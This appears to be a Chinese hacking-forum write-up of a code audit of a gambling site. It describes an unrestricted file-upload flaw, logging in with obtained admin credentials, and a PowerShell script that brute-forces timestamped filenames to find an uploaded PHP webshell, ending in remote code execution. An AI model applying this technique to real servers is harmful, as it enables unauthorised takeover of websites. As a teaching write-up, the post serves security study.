查看: 110|回复: 0

记一次某赌博网站代审上传Getshell(入门版)

[复制链接]
匿名
匿名  发表于 2 小时前 |阅读模式

////前言

HXD最近在打某市局小案件,然后周一的时候发了我个源码包让我审一下,审计后发现还是还是很简单的,适合水一篇公众号入门教程文。

qw1.jpg




01 审计过程

今天刚好忙完歇一会,顺手看看,拿到源码开始审计,全局搜上传点,直接抓到一个无条件上传

qw2.jpg


打开网址一看是
[AppleScript] 纯文本查看 复制代码
m.php?m=Public&a=login
,确定路由后直接开始构造

上传包
游客,如果您要查看本帖隐藏内容请回复



不出意外就要出意外了,响应302

qw3.jpg


回头再看源代码,发现最开始的时候需要验证一下管理员权限

qw4.jpg





问一下hxd,发现还真有账密,省的绕过了

qw5.jpg


登进去拿到了cookie,再进行上传,这时候虽然有了响应包,但还没有上传成功,跟正常访问接口一样

qw6.jpg


qw7.jpg


原因在于m要进else的逻辑必须让Post数据非空,所以我们可以在表单上随便加一些参数,不是FILE参数即可

qw8.jpg


再次上传,发现回显不一样了,那么上传看样子是成功了,现在只需要爆破下文件名即可

qw9.jpg


文件名命名的规则为 url/apk/time()+filename

qw10.jpg


上传完后,立马用脚本爆破前后30s的时间戳加文件名即可

[AppleScript] 纯文本查看 复制代码
$baseUrl ="http:// url"$file = “test9991zzz.php" $now = [int][double]((Get-Date).ToUniversalTime() -[datetime]"1970-01-01").TotalSeconds-30..30 | ForEach-Object {$ts = $now + $_$url = "$baseUrl/apk/${ts}$file"try {$r = Invoke-WebRequest -Uri $url -Method GET -TimeoutSec 3 -UseBasicParsingif ($r.StatusCode -eq 200) { "$url"; break }} catch {}}


qw11.jpg

访问一下,成功RCE

qw12.jpg


传个大马收工

qw13.jpg










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-12-29 12:10 , Processed in 0.022846 second(s), 20 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部